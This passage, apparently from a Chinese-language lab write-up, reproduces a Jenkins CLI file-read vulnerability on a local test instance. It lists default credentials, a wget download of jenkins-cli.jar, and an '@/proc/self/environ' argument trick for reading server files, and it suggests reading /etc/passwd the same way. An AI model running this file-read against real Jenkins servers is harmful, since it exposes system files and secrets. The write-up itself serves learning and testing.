地址:kali本地IP:8081 默认管理员账号密码:user/bitnami
三、漏洞利用
3.1 下载JenKins-cli.jar包
我们发现使用wget命令可以在外部将JenKins-cli.jar包下载至桌面
wget http://localhost:8081/jnlpJars/jenkins-cli.jar
通过Jenkins-cli.jar包进行 读取文件以获取 Jenkins 基本目录:
java -jar jenkins-cli.jar -s http://localhost:8081/ -http help 1 “@/proc/self/environ”
OK
四、扩展
利用JenKins-cli.jar包探索敏感目录文件;例如:/etc/passwd
在这里我们发现左边是只有一条是暴露。
开启匿名者访问权限
选项在后台的”Manage Jenkins“->"security"中管理员可将其开启或关闭。默认是关闭的。
自我介绍一下,小编13年上